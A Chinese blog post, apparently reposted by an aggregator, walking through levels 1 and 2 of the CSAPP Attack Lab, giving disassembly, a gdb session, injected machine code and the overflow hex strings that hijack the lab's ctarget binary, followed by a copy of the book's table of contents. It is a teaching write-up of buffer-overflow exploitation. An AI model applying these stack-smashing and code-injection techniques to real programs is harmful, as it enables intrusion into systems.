《深入理解计算机系统》CSAPP_AttackLab

Posted duile

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了《深入理解计算机系统》CSAPP_AttackLab相关的知识,希望对你有一定的参考价值。

AttackLab

操作系统:linux

调试工具:gdb

Level 1

我们是攻击者,也就是hack,其实我更喜欢骇客这个翻译,而不是黑客。level1 ~ level3的攻击方式都是运行CTARGET注入代码。

作为一名骇客小白,我们可以通过unix > objdump -d ctarget > ctarget.d这段指令查看汇编代码,但我更喜欢用用gdb里的disas指令展示函数。这样更方便阅读。(这里就不需要打断点了)

/*function prototype*/
void test(){
	int val;
	val = getbuf();
	printf("No exploit.Getbuf returned 0x%x\\n", val);
}
unsigned getbuf(){
	char buf[BUFFER_SIZE];
	Gets(buf);
	return 1;
}
void touch1(){
	vlevel = 1;
	/* Part of validation protocol */
	printf("Touch1!: You called touch1()\\n");	
	validate(1);
	exit(0);
}


Dump of assembler code for function test:
   0x0000000000401968 <+0>:	sub    $0x8,%rsp
   0x000000000040196c <+4>:	mov    $0x0,%eax
   0x0000000000401971 <+9>:	callq  0x4017a8 <getbuf>
   0x0000000000401976 <+14>:	mov    %eax,%edx #<getbuf>的返回地址
   0x0000000000401978 <+16>:	mov    $0x403188,%esi
   0x000000000040197d <+21>:	mov    $0x1,%edi
   0x0000000000401982 <+26>:	mov    $0x0,%eax
   0x0000000000401987 <+31>:	callq  0x400df0 <__printf_chk@plt>
   0x000000000040198c <+36>:	add    $0x8,%rsp
   0x0000000000401990 <+40>:	retq
     
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:	sub    $0x28,%rsp
   0x00000000004017ac <+4>:	mov    %rsp,%rdi
   0x00000000004017af <+7>:	callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq
     
Dump of assembler code for function touch1:
   0x00000000004017c0 <+0>:	sub    $0x8,%rsp #<touch1>的函数地址
   0x00000000004017c4 <+4>:	movl   $0x1,0x202d0e(%rip)        # 0x6044dc <vlevel>
   0x00000000004017ce <+14>:	mov    $0x4030c5,%edi
   0x00000000004017d3 <+19>:	callq  0x400cc0 <puts@plt>
   0x00000000004017d8 <+24>:	mov    $0x1,%edi
   0x00000000004017dd <+29>:	callq  0x401c8d <validate>
   0x00000000004017e2 <+34>:	mov    $0x0,%edi
   0x00000000004017e7 <+39>:	callq  0x400e40 <exit@plt>

第一个攻击任务是:

Your task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test.
你的任务是运行CTARGET使得当getbuf运行结束后,运行touch1,这些行为要在test返回之前完成。

原本主函数test调用了getbuf函数,test返回时就结束了。但我们要在调用getbuf函数之后再多一个调用touch1函数。如何完成这个任务呢?
我们知道,当调用getbuf函数时,栈会给存留一个返回地址栈帧0x0000000000401976,执行getbuf函数结束后,通过这个地址返回主函数test。我们只要把这个地址改为touch1的函数地址0x00000000004017c0即可。

如何改呢?我们利用栈溢出的特性,因为getbuf函数开辟了40(0x28)beytes的栈空间,我们多输入8bytes的touch1的函数地址用来覆盖,之前的40bytes随意输入。(栈的一行里有8byte,返回地址也是8bytes)

同时注意到intel使用的是小端法排序,我们无需用0x注明十六进制,CTARGET会自动转为十六进制。

key:

/*level1.txt*/
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40

c0 17 40后续的零可填可不填,会自动补上的)

我们通过unix> ./hex2raw < level1.txt | ./ctarget -q进行攻击。(./ctarget -q,在./ctarget之后加 -q的原因是我们没法连接上CMU的服务器,在本地运行验证结果就行了;文件level1.txt中存放着我们的答案)

hack@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 

Level 2

先查看代码及对应汇编代码:

/*function prototype*/
void test(){
	int val;
	val = getbuf();
	printf("No exploit.Getbuf returned 0x%x\\n", val);
}

unsigned getbuf(){
	char buf[BUFFER_SIZE];
	Gets(buf);
	return 1;
}

void touch2(unsigned val){
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie){ 
        printf("Touch2!: You called touch2(0x%.8x)\\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\\n", val);
        fail(2);
    }
    exit(0);
}


Dump of assembler code for function test:
   0x0000000000401968 <+0>:	sub    $0x8,%rsp
   0x000000000040196c <+4>:	mov    $0x0,%eax
   0x0000000000401971 <+9>:	callq  0x4017a8 <getbuf>
   0x0000000000401976 <+14>:	mov    %eax,%edx #<getbuf>的返回地址
   0x0000000000401978 <+16>:	mov    $0x403188,%esi
   0x000000000040197d <+21>:	mov    $0x1,%edi
   0x0000000000401982 <+26>:	mov    $0x0,%eax
   0x0000000000401987 <+31>:	callq  0x400df0 <__printf_chk@plt>
   0x000000000040198c <+36>:	add    $0x8,%rsp
   0x0000000000401990 <+40>:	retq
     
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:	sub    $0x28,%rsp
   0x00000000004017ac <+4>:	mov    %rsp,%rdi #此时的%rsp是已经开辟空间的栈顶
   0x00000000004017af <+7>:	callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq
     
(gdb) disas touch2
Dump of assembler code for function touch2:
   0x00000000004017ec <+0>:	sub    $0x8,%rsp #<touch2>的函数地址
   0x00000000004017f0 <+4>:	mov    %edi,%edx
   0x00000000004017f2 <+6>:	movl   $0x2,0x202ce0(%rip)        # 0x6044dc <vlevel>
   0x00000000004017fc <+16>:	cmp    0x202ce2(%rip),%edi        # 0x6044e4 <cookie>
   0x0000000000401802 <+22>:	jne    0x401824 <touch2+56>
   0x0000000000401804 <+24>:	mov    $0x4030e8,%esi
   0x0000000000401809 <+29>:	mov    $0x1,%edi
   0x000000000040180e <+34>:	mov    $0x0,%eax
   0x0000000000401813 <+39>:	callq  0x400df0 <__printf_chk@plt>
   0x0000000000401818 <+44>:	mov    $0x2,%edi
   0x000000000040181d <+49>:	callq  0x401c8d <validate>
   0x0000000000401822 <+54>:	jmp    0x401842 <touch2+86>
   0x0000000000401824 <+56>:	mov    $0x403110,%esi
   0x0000000000401829 <+61>:	mov    $0x1,%edi
   0x000000000040182e <+66>:	mov    $0x0,%eax
   0x0000000000401833 <+71>:	callq  0x400df0 <__printf_chk@plt>
   0x0000000000401838 <+76>:	mov    $0x2,%edi
   0x000000000040183d <+81>:	callq  0x401d4f <fail>
   0x0000000000401842 <+86>:	mov    $0x0,%edi
   0x0000000000401847 <+91>:	callq  0x400e40 <exit@plt>

Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, however, you must make it appear to touch2 as if you have passed your cookie as its argument.

level 2和leve 1类似,也是在test返回前调用一次touch2函数。但是在touch2函数val的值必须和cookie相同才算touch2函数调用成功。

那么得想办法调用touch2函数,即注入touch2的函数地址。

advice:

Recall that the first argument to a function is passed in register %rdi.
%rdi中存储touch2函数着第一个参数。

Your injected code should set the register to your cookie, and then use a ret instruction to transfer control to the first instruction in touch2.
你注入的代码应该把寄存器%rdi设置为cookie,然后中使用ret指令转移控制权到touch2中的第一条指令(即touch2的函数地址0x4017ec)。

根据advice及touch2源代码可以知道:(要写汇编代码)

  • movq指令,$0x59b997fa移入%rdi。从而val == cookie函数touch2执行成功。(在cookie.txt中存着cookie的值0x59b997fa)。
  • push指令压入touch2的函数地址,从而ret时会返回为touch2的函数地址。

那么有:

//level2.s
movq    $0x59b997fa, %rdi
pushq   0x4017ec6
ret

再将其转化为机器代码:使用linux> gcc -c level2.slinux> objdump -d level2.o

duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ gcc -c level2.s
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ objdump -d level2.o

level2.o:     文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	ff 34 25 ec 17 40 00 	pushq  0x4017ec
   e:	c3                   	retq   

从而得到部分注入代码:(机器代码已经使用小端法了)

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 

那么现在问题来了,从哪里注入代码?答案应该是从栈顶,在getbuf函数已经开辟栈空间的%rsp处注入。

原因呢?如下图所示,注入的register必须在stack top之前。

接下来我们查找开辟栈空间的%rsp对应地址。

(gdb) b *0x4017ac
Breakpoint 1 at 0x4017ac: file buf.c, line 14.
(gdb) run -q
Starting program: /home/duile/Desktop/csapp_lab/attack-handout/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:14
14	buf.c: 没有那个文件或目录.
(gdb) print $rsp
$1 = (void *) 0x5561dc78

好,最终我们有,key: (注意填充已经开辟的栈空间40bytes以及小端法)

//level2.txt
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ 

CONTIUNE

深入理解计算机系统的目录1

1 A Tour of Computer Systems
1.1 Information is Bits + Context
1.2 Programs Are Translated by Other Programs into Different Forms
1.3 It Pays to Understand How Compilation Systems Work
1.4 Processors Read and Interpret Instructions Stored in Memory
1.5 Caches Matter
1.6 Storage Devices Form a Hierarchy
1.7 The Operating System Manages the Hardware
1.8 Systems CommunicateWith Other Systems Using Networks
1.9 The Next Step
1.10 Summary
Bibliographics Notes
Part I Program Structure and Execution
2 Representing and Manipulating Information
2.1 Information Storage
2.2 Integer Representations
2.3 Integer Arithmetic
2.4 Floating Point
2.5 Summary
Bibliographic Notes
Homework Problems
Solution to Practice Problems
3 Machine-Level Representation of Programs
3.1 A Historical Perspective
3.2 Program Encodings
3.3 Data Formats
3.4 Accessing Information
3.5 Arithmetic and Logical Operations
3.6 Control
3.7 Procedures
3.8 Array Allocation and Access
3.9 Heterogeneous Data Structures
3.10 Alignment
3.11 Putting it Together: Understanding Pointers
3.12 Life in the RealWorld: Using the GDB Debugger
3.13 Out-of-Bounds Memory References and Buffer Over
3.14 *Floating-Point Code
3.15 *Embedding Assembly Code in C Programs
3.16 Summary
Bibliographic Notes
Homework Problems
Solutions to Practice Problems
4 Processor Architecture
5 Optimizing Program Performance
6 The Memory Hierarchy
Part Ⅱ Running Programs on a System
7 Linking
8 Exceptional Control Flow
9 Measuring Program Execution Time
10 Virtual Memory
Part Ⅲ Interaction and Communication Between Programs
11 System-Level I/O
12 Network Programming
13 Concurrent Programming
A HCL Descriptions of Processor Control Logic
B Error Handling
Bibliography
Index
目录:
第1章 计算机系统漫游
1.1 信息就是比特+上下文
1.2 程序被其他程序翻译成不同的格式
1.3 了解编译系统如何工作是大有益处的
1.4 处理器读并解释储存在存储器中的指令
1.4.1 系统的硬件组成
1.4.2 执行hello程序
1.5 高速缓存
1.6 形成层次结构的存储设备
1.7 操作系统管理硬件
1.7.1 进程
1.7.2 线程
1.7.3 虚拟存储器
1.7.4 文件
1.8 利用网络系统和其他系统通信
1.9 下一步
1.10 小结
参考文献说明
第2章 信息的表示和处理
2.1 信息存储
2.2 整数表示
2.3 整数运算
2.4 浮点
2.5 小结
参考文献说明
家庭作业
练习题答案
第3章 程序的机器级表示
3.1 历史观点
3.2 程序编码
3.3 数据格式
3.4 访问信息
3.5 算术和逻辑操作
3.6 控制
3.7 过程
3.8 数组分配和访问
3.9 异类的数据结构
3.10 对齐(alignment)
3.11 综合:理解指针
3.12 现实生活:使用GDB调试器
3.13 存储器的越界引用和缓冲区溢出
3.14 *浮点代码
3.15 *在C程序中嵌入汇编代码
3.16 小结
第4章 处理器体系结构
4.1 Y86指令集体系结构
4.2 逻辑设计和硬件控制语言HCL 271
4.3 Y86的顺序(sequential)实现
4.4 流水线的通用原理
4.5 Y86的流水线实现
4.6 小结
第5章 优化程序性能
5.1 优化编译器的能力和局限性
5.2 表示程序性能
5.3 程序示例
5.4 消除循环的低效率
5.5 减少过程调用
5.6 消除不必要的存储器引用
5.7 理解现代处理器
5.8 降低循环开销
5.9 转换到指针代码
5.10 提高并行性
5.11 综合:优化合并代码的效果小结
5.12 分支预测和预测错误处罚
5.13 理解存储器性能
5.14 现实生活:性能提高技术
5.15 确认和消除性能瓶颈
5.16 小结
第6章 存储器层次结构
6.1 存储技术
6.2 局部性
6.3 存储器层次结构
6.4 高速缓冲存储器
6.5 编写高速缓存友好的代码
6.6 综合:高速缓存对程序性能的影响
6.7 综合:利用你程序中的局部性
6.8 小结
参考文献说明
家庭作业
练习题答案
第7章 链接
7.1 编译器驱动程序
7.2 静态链接
7.3 目标文件
7.4 可重定位目标文件
7.5 符号和符号表
7.6 符号解析
7.7 重定
7.8 可执行目标文件
7.9 加载可执行目标文件
7.10 动态链接共享库
7.11 从应用程序中加载和链接共享库
7.12 *与位置无关的代码(PIC)
7.13 处理目标文件的工具
7.14 小结
第8章 异常控制流
8.1 异常
8.2 进程
8.3 系统调用和错误处理
8.4 进程控制
8.5 信号
8.6 非本地跳转
8.7 操作进程的工具
8.8 小结
第9章 测量程序执行时间
9.1 计算机系统上的时间流
9.2 通过间隔计数(interval counting)来测量时间
9.3 周期计数器
9.4 用周期计数器来测量程序执行时间
9.5 于gettimeofday函数的测量
9.6 综合:一个实验协议
9.7 展望未来
9.8 现实生活:K次最优测量方法
9.9 得到的经验教训
9.10 小结
第10章 虚拟存储器
10.1 物理和虚拟寻址
10.2 地址空间
10.3 VM作为缓存的工具
10.4 VM作为存储器管理的工具
10.5 VM作为存储器保护的工具
10.6 地址翻译
10.7 案例研究:Pentium/Linux存储器系统
10.8 存储器映射
10.9 动态存储器分配
10.10 垃圾收集
10.11 C程序中常见的与存储器有关的错误
10.12扼要重述一些有关虚拟存储器的关键概念
10.13 小结
第11章 系统级I/O
11.1 Unix I/O
11.2 打开和关闭文件
11.3 读和写文件
11.4 用RIO包进行健壮地读和写
11.5 读取文件元数据
11.6 共享文件
11.7 I/O重定向
11.8 标准I/O
11.9 综合:我该使用哪些I/O函数?
11.10 小结
第12章 网络编程
12.1 客户端-服务器编程模型
12.2 网络
12.3 全球IP因特网
12.4 套接字接口
12.5 Web服务器
12.6 综合:TINY Web服务器
12.7 小结
第13章 并 发 编 程
13.1 基于进程的并发编程
13.2 基于I/O 多路复用的并发编程
13.3 基于线程的并发编程
13.4 多线程程序中的共享变量
13.5 用信号量同步线程
13.6 综合:基于预线程化的并发服务器
13.7 其他并发性问题
13.8 小结
参考文献说明
家庭作业习题
练习题答案
附录A 处理器控制逻辑的 HCL描述
A.1 HCL参考手册
A.2 SEQ
A.3 SEQ+
A.4 PIPE
附录B 错 误 处 理
B.1 Unix系统中的错误处理
B.2 错误处理包装函数
B.3 csapp.h头文件
B.4 csapp.c源文件

参考技术A 确实是一本好书,第三版更新了最新到X86-64位,各个章节更加容易阅读和理解,只要大学学这本书适合多读几遍。中文第三版可以参考:https://zhidao.baidu.com/question/139032425214224925.html?fr=iks&word=%CE%D2%C2%F2%C1%CB%D2%BB%B1%BE%D6%BD%D6%CA%B5%C4%A1%B6%C9%EE%C8%EB%C0%ED%BD%E2%BC%C6%CB%E3%BB%FA%CF%B5%CD%B3%A1%B7%B5%DA%C8%FD%B0%E6%2C%BF%B4%B5%BD%C1%CB%B5%DA6%D5%C2%A1%B6%B4%E6%B4%A2%C6%F7%B2%E3%B4%CE%BD%E1%B9%B9%A1%B7%2C&ie=gbk&hideOtherAnswer=true&newAnswer=1

以上是关于《深入理解计算机系统》CSAPP_AttackLab的主要内容,如果未能解决你的问题,请参考以下文章

深入理解计算机系统之信息的存储和处理

求《深入理解计算机系统(第三版)》的pdf中文版

哪里可以买到<<深入理解计算机系统>>中文版

学习日记之《深入理解计算机系统》

学习日记之《深入理解计算机系统》

深入理解计算机系统系列计算机系统漫游